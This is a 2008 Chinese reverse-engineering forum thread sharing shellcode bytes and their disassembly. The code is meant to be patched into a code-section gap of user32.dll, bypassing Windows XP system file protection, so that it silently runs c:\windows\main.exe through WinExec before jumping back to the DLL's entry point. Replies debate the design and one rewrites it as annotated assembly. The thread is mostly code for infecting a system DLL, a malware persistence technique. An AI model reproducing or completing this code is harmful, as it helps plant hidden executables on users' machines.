首页
社区
课程
招聘
[原创]奇妙的shellcode
发表于: 2008-10-28 23:45 10153

[原创]奇妙的shellcode

2008-10-28 23:45
10153
Shellcode dd 0E8h               
                dd 0C0835800h, 0C083502Fh, 90FF5008h, 0
                dd 0E850h, 0FF580000h, 90h, 0E8006A00h, 0
                dd 21C18359h, 0E9D0FF51h, 0
               
aWinexec_0     db 'WinExec',0
aKernel32_dll   db 'kernel32.dll',0
ZhanWeiFile     db 'c:\windows\main.exe',0


上面是一段shellcode的代码,可以把这段代码插入到user32.dll文件的.text空隙中。只要空隙的大小有70h字节就足够了。另外里面用的GetModuleHandleA,GetProcAddress等函数地址,可以直接搜索user32.dll文件的导入表获得。只要把user32.dll加载到一个缓冲区就可以进行搜了。当然还要对xp的sfc进行突破。

这段shellcode码的作用就是在入口处执行,功能是执行一个ZhanWeiFile字符串描述的exe。

0012FF4C E8 00 00 00 00       call        0012FF51        
0012FF51 58                   pop         eax
0012FF52 83 C0 2F             add         eax,2Fh
0012FF55 50                   push        eax         ;"WinExec"
0012FF56 83 C0 08             add         eax,8
0012FF59 50                   push        eax         ;"Kernel32.dll"
0012FF5A FF 90 00 00 00 00    call        dword ptr [eax + 0]                                                               

    注意这里是距shellcode开头偏移10h的位置,将来把0偏移填充为GetModuleHandleA距离字符串"Kernel32.dll"的相对偏移。
0012FF60 50                   push        eax
0012FF61 E8 00 00 00 00       call        0012FF66
0012FF66 58                   pop         eax      
    注意这里是距shellcode开头偏移1ah
0012FF67 FF 90 00 00 00 00    call        dword ptr [eax + 0]
   注意这里的0偏移是距shellcode开头偏移1Dh的位置,将来把0偏移填充为GetProcAddress距离上面偏移(即shellcode开头偏移1ah)的相对偏移                                                               
0012FF6D 6A 00                push        0               //winexec参数1
0012FF6F E8 00 00 00 00       call        0012FF74
0012FF74 59                   pop         ecx
0012FF75 83 C1 21             add         ecx,21h      
    注意这里偏移21h,正好指向字符串ZhanWeiFile     
0012FF78 51                   push        ecx             //winexec参数2
0012FF79 FF D0                call        eax      //winexec
0012FF7B E9 00 00 00 00       jmp         0012FF80 //跳到AddressOfEntry 。
注意 E9字节也即本行开头距shellcode开头偏移为2fh 。后面将会计算本行与AddressOfEntry的相对偏移,然后将这个相对偏移填充到30h的位置。
                                                   
0012ff80 aWinexec_0      db 'WinExec',0
0012ff88 aKernel32_dll   db 'kernel32.dll',0
0012ff95 ZhanWeiFile     db 'c:\windows\main.exe',0

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (16)
雪    币: 424
活跃值: (1844)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
没看明白,咋一看还以为这么短能自定位函数,原来是要外部填充,既然要外部填充,那何必又要在shellcode里GetModuleHandleA呢,直接在外部GetModuleHandleA填进shellcode,然后shellcode里直接
call WinExec
jmp xxxxxxxx
不一样么??
2008-10-29 00:23
0
雪    币: 7115
活跃值: (639)
能力值: (RANK:1290 )
在线值:
发帖
回帖
粉丝
3
看牛帖,一定要整死的顶。。。
2008-10-30 00:48
0
雪    币: 268
活跃值: (40)
能力值: ( LV10,RANK:170 )
在线值:
发帖
回帖
粉丝
4
不懂,继续努力
2008-10-30 00:57
0
雪    币: 293
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
看文章第一句话,我想楼主是要插入到user32.dll,里面没有引入WinExec,所以才这样写。要是插入到kernel32.dll,觉得还是你说的方法比较方便。
2008-10-30 01:26
0
雪    币: 6075
活跃值: (2236)
能力值: (RANK:1060 )
在线值:
发帖
回帖
粉丝
6
至今还没见过一个不引入kernel32而引入user32的程序
2008-10-30 03:52
0
雪    币: 248
活跃值: (1081)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
Shellcode dd 0E8h
dd 0C0835800h, 0C083502Fh, 90FF5008h, 0
dd 0E850h, 0FF580000h, 90h, 0E8006A00h, 0
dd 21C18359h, 0E9D0FF51h, 0

aWinexec_0 db 'WinExec',0
aKernel32_dll db 'kernel32.dll',0
ZhanWeiFile db 'c:\windows\main.exe',0

不可用,或我们不知道如何用。
2008-10-30 08:42
0
雪    币: 198
活跃值: (124)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
这么做什么呀?迷糊,看来要多努力~~
2008-10-30 08:57
0
雪    币: 111
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
9
看的稀里糊涂的
2008-10-31 17:06
0
雪    币: 86
活跃值: (56)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
10
又见这篇文章~~~
2008-10-31 17:11
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
看不明白~~~
2008-10-31 18:06
0
雪    币: 183
活跃值: (230)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
精彩~~~~~~~~~~~~~~~~~
2008-11-1 18:40
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
没见楼主叫你自己搜索 API 吗
2008-11-2 23:26
0
雪    币: 248
活跃值: (1081)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
至少要局部可用,才可细究。否则耗费时间,结果归零。
对断章取节深感郁闷......
2008-11-3 18:52
0
雪    币: 315
活跃值: (23)
能力值: ( LV9,RANK:220 )
在线值:
发帖
回帖
粉丝
15
代码的技巧其实应该不在于这段combojiang构造的shellcode。在于combojiang如何去填充这些GetModuleHandleA, GetProcAddress函数的地址。combojiang好像没有说明啊。

这段shellcode其实很简单,将其恢复为汇编则为如下:

call $+5
@@:
pop eax

add eax, pszWinExec - @b

push eax

add eax, pszKernel - pszWinExec

push eax

call dword [eax+ pGetModule-pszKernel]

push eax

call $+5
@@:
pop eax

call dword [eax+ pGetProc - @b]

push 0 ;winexec参数

call $+5
@@:
pop ecx

add ecx, pszFile - @b

push ecx ;winexec参数

call eax

jmp 0012FF80h     ;入口偏移

pszWinExec db 'WinExec',0

pszKernel db 'kernel32.dll', 0

pszFile db 'c:\windows\main.exe', 0

pGetModule rd 1

pGetProc rd 1
2008-11-5 12:06
0
雪    币: 215
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
16
以前考虑过
搜索 user32之类的模块中调用目标API的CODE
然后 调用user32中的调用API的code

LZ厉害,直接调用了。
2008-11-6 15:26
0
雪    币: 224
活跃值: (10)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
17
时间不多  不细想了   没有太明白意图啊  呵呵   lz还是要说清楚些啊
楼主还是辛苦了 顶下
2008-11-20 20:23
0
游客
登录 | 注册 方可回帖
返回
//